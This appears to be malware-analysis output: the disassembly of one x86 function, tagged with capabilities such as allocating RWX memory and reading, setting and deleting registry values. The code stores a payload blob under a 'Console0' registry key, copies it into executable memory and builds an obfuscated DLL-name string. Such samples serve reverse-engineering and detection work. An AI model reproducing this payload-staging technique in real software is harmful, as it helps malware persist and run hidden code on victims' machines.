Function at 0x407919
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa84
push edi
mov dword [ebp - 0xa84], ecx
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
cmp eax, 0xc9
jne 0x40793b
jmp 0x407d38
cmp dword [ebp + 0xc], 0x65
jne 0x407be9
mov dword [ebp - 8], 3
and dword [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0x422a2c
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407a38
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp - 8]
push eax
push 0
push dword [0x4290c0]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 4], 0xa44
jbe 0x407a2f
push dword [ebp - 4]
call fcn.0040cf36
pop ecx
mov dword [ebp - 0xa70], eax
mov eax, dword [ebp - 0xa70]
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push 0
push dword [ebp - 0x10]
call fcn.0040e810
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push 0
push dword [0x4290c0]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x407a2f
push 0xa44
push dword [ebp - 0x10]
push 0x42b280
call fcn.0040da30
add esp, 0xc
push 0x40
push 0x3000
push dword [0x42b488]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x42bcc4], eax
push dword [0x42b488]
mov eax, dword [ebp - 0x10]
add eax, 0xa44
push eax
push dword [0x42bcc4]
call fcn.0040da30
add esp, 0xc
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x42b48c
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00410506
pop ecx
pop ecx
test eax, eax
je 0x407bd9
cmp dword [0x42bcc4], 0
je 0x407a74
push 0x8000
push 0
push dword [0x42bcc4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
and dword [0x42bcc4], 0
and dword [ebp - 0xa60], 0
mov eax, 0x767b
mov word [ebp - 0xa5c], ax
mov eax, 0x5f55
mov word [ebp - 0xa5a], ax
mov eax, 0x6a21
mov word [ebp - 0xa58], ax
mov eax, 0x5757
mov word [ebp - 0xa56], ax
push 0x2e
pop eax
mov word [ebp - 0xa54], ax
push 0x64
pop eax
mov word [ebp - 0xa52], ax
push 0x6c
pop eax
mov word [ebp - 0xa50], ax
push 0x6c
pop eax
mov word [ebp - 0xa4e], ax
push 0x5f
pop eax
mov word [ebp - 0xa4c], ax
push 0x62
pop eax
mov word [ebp - 0xa4a], ax
push 0x69
pop eax
mov word [ebp - 0xa48], ax
push 0x6e
pop eax
mov word [ebp - 0xa46], ax
xor eax, eax
mov word [ebp - 0xa44], ax
push 0x1e4
push 0
lea eax, [ebp - 0xa42]
push eax
call fcn.0040e810
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x85e]
stosw word es:[edi], ax
and dword [ebp - 0x85c], 0
and dword [ebp - 0x858], 0
push 0x64
push 0
lea eax, [ebp - 0x854]
push eax
call fcn.0040e810
add esp, 0xc
push 0x7d0
push 0
lea eax, [ebp - 0x7f0]
push eax
call fcn.0040e810
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
and dword [ebp - 0x14], 0
and dword [ebp - 0x18], 0
mov dword [ebp - 0x18], 0xa45
push dword [ebp - 0x18]
call fcn.0040cf36
pop ecx
mov dword [ebp - 0xa74], eax
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov byte [eax], 5
mov eax, dword [ebp - 0x18]
dec eax
push eax
lea eax, [ebp - 0xa60]
push eax
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.0040da30
add esp, 0xc
push dword [ebp - 0x18]
push dword [ebp - 0x14]
mov ecx, dword [ebp - 0xa84]
call fcn.00403f25
cmp dword [ebp - 0x14], 0
je 0x407bd7
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xa78], eax
push dword [ebp - 0xa78]
call fcn.0040d9d3
pop ecx
and dword [ebp - 0x14], 0
jmp 0x407be4
mov ecx, dword [ebp - 0xa84]
call fcn.004078df
jmp 0x407d38
push 0xa44
mov eax, dword [ebp + 8]
inc eax
push eax
push 0x42b280
call fcn.0040da30
add esp, 0xc
push 0x40
push 0x3000
push dword [0x42b488]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x42bcc4], eax
push dword [0x42b488]
mov eax, dword [ebp + 8]
add eax, 0xa45
push eax
push dword [0x42bcc4]
call fcn.0040da30
add esp, 0xc
mov eax, dword [0x42b488]
add eax, 0xa44
mov dword [ebp - 0xa68], eax
push dword [ebp - 0xa68]
call fcn.0040cf36
pop ecx
mov dword [ebp - 0xa7c], eax
mov eax, dword [ebp - 0xa7c]
mov dword [ebp - 0xa64], eax
cmp dword [ebp - 0xa64], 0
je 0x407d05
push 0xa44
push 0x42b280
push dword [ebp - 0xa64]
call fcn.0040da30
add esp, 0xc
push dword [0x42b488]
push dword [0x42bcc4]
mov eax, dword [ebp - 0xa64]
add eax, 0xa44
push eax
call fcn.0040da30
add esp, 0xc
lea eax, [ebp - 0xa6c]
push eax
push str.Console0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x407cf9
push dword [0x4290c0]
push dword [ebp - 0xa6c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0xa68]
push dword [ebp - 0xa64]
push 3
push 0
push dword [0x4290c0]
push dword [ebp - 0xa6c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xa6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xa64], 0
je 0x407d2d
mov eax, dword [ebp - 0xa64]
mov dword [ebp - 0xa80], eax
push dword [ebp - 0xa80]
call fcn.0040edb2
pop ecx
and dword [ebp - 0xa64], 0
mov ecx, dword [ebp - 0xa84]
call fcn.004078df
pop edi
leave
ret 8